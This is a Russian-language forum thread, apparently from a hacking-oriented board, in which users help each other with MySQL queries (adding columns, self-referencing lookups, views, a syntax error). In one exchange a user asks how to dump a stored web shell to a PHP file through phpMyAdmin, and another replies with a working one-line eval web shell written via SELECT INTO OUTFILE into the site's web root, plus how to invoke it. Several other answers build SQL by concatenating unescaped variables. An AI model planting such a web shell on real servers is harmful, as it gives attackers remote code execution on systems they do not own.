[sql] Вопросы по БД

Discussion in 'PHP' started by FraiDex, 25 Feb 2008.

Thread Status:
Not open for further replies.
  1. AkyHa_MaTaTa

    AkyHa_MaTaTa Elder - Старейшина

    Joined:
    19 Mar 2007
    Messages:
    557
    Likes Received:
    306
    Reputations:
    27
    Как бы
     
  2. desTiny

    desTiny Elder - Старейшина

    Joined:
    4 Feb 2007
    Messages:
    1,006
    Likes Received:
    444
    Reputations:
    94
    эквивалентно - не эквивалентно... я когда-то немало времени убил, чтобы оно заработыло (правда я на utf-8 переделывал как раз), и у меня без "эквивалентного", не знаю почему, работало очень и очень криво.
     
    1 person likes this.
  3. AkyHa_MaTaTa

    AkyHa_MaTaTa Elder - Старейшина

    Joined:
    19 Mar 2007
    Messages:
    557
    Likes Received:
    306
    Reputations:
    27
    Я не спорю работать так будет, только нах лишний раз делать гвери которые приведут к тому что и 1 гверя?
     
    2 people like this.
  4. Architek86

    Architek86 Elder - Старейшина

    Joined:
    20 Feb 2008
    Messages:
    80
    Likes Received:
    1
    Reputations:
    0
    Народ, совсем запутался с этим MySQL... как в уже существующей таблице $table_name создать (желательно одним запросом) столбец с именем $stolbik и вставить в него пять строчек со значениями: $aa, $bb, $cc, $dd, $ee, каждое из которых будет строкой не более 200 символов?
    И правильно я понимаю, что графически итог будет таким:

    Code:
    $table_name:
    ------------------------------
    | др.таб.   |    | $stolbik  |
    ------------------------------
    | ...       |    | $aa       |
    -------------    -------------
    | ...       |    | $bb       |
    -------------    -------------
    | ...       |    | $cc       |
    -------------    -------------
    | ...       |    | $dd       |
    -------------    -------------
    | ...       |    | $ee       |
    -------------    -------------
    ?
     
    #444 Architek86, 29 Jan 2009
    Last edited: 29 Jan 2009
  5. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    ALTER TABLE `$table_name` ADD `$stolbik` VARCHAR(60) NOT NULL;
    INSERT INTO $table_name (`$stolbik`) VALUES ('$aa');
    INSERT INTO $table_name (`$stolbik`) VALUES ('$bb');
    INSERT INTO $table_name (`$stolbik`) VALUES ('$cc');
    INSERT INTO $table_name (`$stolbik`) VALUES ('$dd');
    INSERT INTO $table_name (`$stolbik`) VALUES ('$ee');

    или так:

    ALTER TABLE `$table_name` ADD `$stolbik` VARCHAR(60) NOT NULL;
    INSERT INTO $table_name (`$stolbik`) VALUES ('$aa'), ('$bb'),('$cc'),('$dd'),('$ee');
     
    #445 Pashkela, 29 Jan 2009
    Last edited: 29 Jan 2009
  6. Корвин

    Корвин Elder - Старейшина

    Joined:
    26 Feb 2007
    Messages:
    256
    Likes Received:
    31
    Reputations:
    3
    PHP:

    //это создание столбика
    mysql_query "ALTER TABLE `".$table_name."` ADD `".$stolbik."` VARCHAR(200) CHARACTER SET cp1251 COLLATE cp1251_general_ci NOT NULL;"
    а это добавить в этот столбик значения, только тебе нада циклом по всем $id пробежатся

    PHP:
    UPDATE `".$table_name."SET `stolbik` = '".$aa."' WHERE `posts`.`id` =" . $id . " LIMIT 1 ;

    чота мы помоему по разному его поняли...
     
    #446 Корвин, 29 Jan 2009
    Last edited: 29 Jan 2009
  7. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    Ну я тупо ответил на вопрос, это же не PHP-раздел, может ему просто в phpmyadmin надо запрос выполнить и всё.
     
  8. Doom123

    Doom123 Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    749
    Likes Received:
    244
    Reputations:
    22
    вопрос ....

    скажем я делаю такойзапрос SELECT * FROM users WHERE `login`= " Admin"
    но в колонке refer находится id пользователя .... чей логин нада ввыбрать из этой же таблицы ...

    вопрос как сделать это всё 1 запросом ... не будь это в 1ой таблицы сделал бы JOIN а тут хз даж =\\

    чёт туплю я ...
     
  9. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    SELECT * FROM `users` WHERE login='Admin' OR refer='нужный_id';

    вроде так
     
    #449 Pashkela, 29 Jan 2009
    Last edited: 29 Jan 2009
  10. Doom123

    Doom123 Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    749
    Likes Received:
    244
    Reputations:
    22
    нет .... не то ...
     
    #450 Doom123, 29 Jan 2009
    Last edited: 29 Jan 2009
  11. vikseriq

    vikseriq Elder - Старейшина

    Joined:
    31 Jul 2008
    Messages:
    118
    Likes Received:
    44
    Reputations:
    2
    Doom, конкретизируй! Мы не телепаты, как Онотоле или Мицгол )
     
  12. Doom123

    Doom123 Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    749
    Likes Received:
    244
    Reputations:
    22
    сажем у пользователя admin в поле refer, id пользователя ... скажем 18 ...
    мне надо сделать так чтоб из базы выбралась вся инфа о пользователе admin а также login пользователя с id 18 ....

    тоесть чтоб в ответе было ...

    login (admin)..
    password(пароль пользователя ) ...
    refer_login(логин рефера ) ...
     
  13. big_BRAT

    big_BRAT Elder - Старейшина

    Joined:
    23 Dec 2006
    Messages:
    77
    Likes Received:
    64
    Reputations:
    7
    вопрос: существует или в mysql поддержка alias'ов/ссылок для таблиц?

    суть - в базе существует таблица NEWS, мы создаем что то типа ссылки или алиаса на эту таблицу и теперь мы можем обратится к этой таблице по запросу к NEW_NEWS (мы думаем что данные получаем из NEW_NEWS, а на самом деле они берутся из NEWS)
    надеюсь понятно)
     
  14. vikseriq

    vikseriq Elder - Старейшина

    Joined:
    31 Jul 2008
    Messages:
    118
    Likes Received:
    44
    Reputations:
    2
    Да, есть. пример: SELECT c1.cust_id, c2.cust_id FROM customer c1, customer c2 WHERE c1.surname = c2.surname AND c1.cust_id != c2.cust_id; (brainbell.com)
    Почитать можно тут: http://dev.mysql.com/doc/refman/5.0/en/identifiers.html
     
  15. VDShark

    VDShark Elder - Старейшина

    Joined:
    1 Feb 2007
    Messages:
    260
    Likes Received:
    158
    Reputations:
    62
    В данном случае думаю тебе здесь вполне поможет коррелирующий подзапрос :)
    Code:
    SELECT *, (SELECT `u`.`login` FROM `users` as `u` WHERE `u`.`id`=`users`.`refer`) as `reflogin` FROM `users` WHERE `login` = `admin`
    
    Что то типа такого, думаю смысл ясен :)
     
    1 person likes this.
  16. VDShark

    VDShark Elder - Старейшина

    Joined:
    1 Feb 2007
    Messages:
    260
    Likes Received:
    158
    Reputations:
    62
    2 vikseriq Вы собственно на какой вопрос отвечали?) Думаю вы не совсем поняли суть вопроса.

    2 big_BRAT Всю жизнь это называлось Видом (view... ну либо представлением в некоторых терминах :) ). Естественно это присутствует в mysql, так как этим способом зачастую организуется ограничение доступа к данным (например таблица о сотрудниках, с помощью вида выводим всю информацию кроме, к примеру, инн. Затем закрываем доступ к родительской таблице и даем права только на данный Вид).
    Почитать о реализации и синтаксисе в мускуле видов можно здесь: http://dev.mysql.com/doc/refman/5.1/en/show-create-view.html
     
    2 people like this.
  17. c0m

    c0m Elder - Старейшина

    Joined:
    26 Jan 2007
    Messages:
    37
    Likes Received:
    3
    Reputations:
    0
    есть доступ в пхпмайадмин
    нужно сделать что бы запрос
    select 'SHELL' into outfile 'C:/Program Files (x86)/VertrigoServ/www/forum/dbc.php';

    где SHELL находиться
    в таблице news
    в ней три столбца date / news / id
    код шелла находиться в news, а id=56
     
  18. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Зачем так утруднять =)?

    Code:
    select '<? eval($_GET['com']); ?>' into outfile 'C:/Program Files (x86)/VertrigoServ/www/forum/shellik.php';
    Потом заходишь на shellik.php?com=код шелла без <? ?>
     
  19. InfernoNet

    InfernoNet Elder - Старейшина

    Joined:
    7 Nov 2007
    Messages:
    248
    Likes Received:
    228
    Reputations:
    -20
    CREATE TABLE `flash_gal` (
    `id` int(9) NOT NULL auto_increment,
    `img` varchar(200) NOT NULL default \'\',
    `title` varchar(200) NOT NULL default \'\',
    PRIMARY KEY (`id`)
    ) ENGINE=MyISAM DEFAULT CHARSET=cp1251 AUTO_INCREMENT=6 ;



    Что не так?
     
  20. 5triker

    5triker Elder - Старейшина

    Joined:
    5 Apr 2007
    Messages:
    62
    Likes Received:
    41
    Reputations:
    1
    default \'\',
     
Thread Status:
Not open for further replies.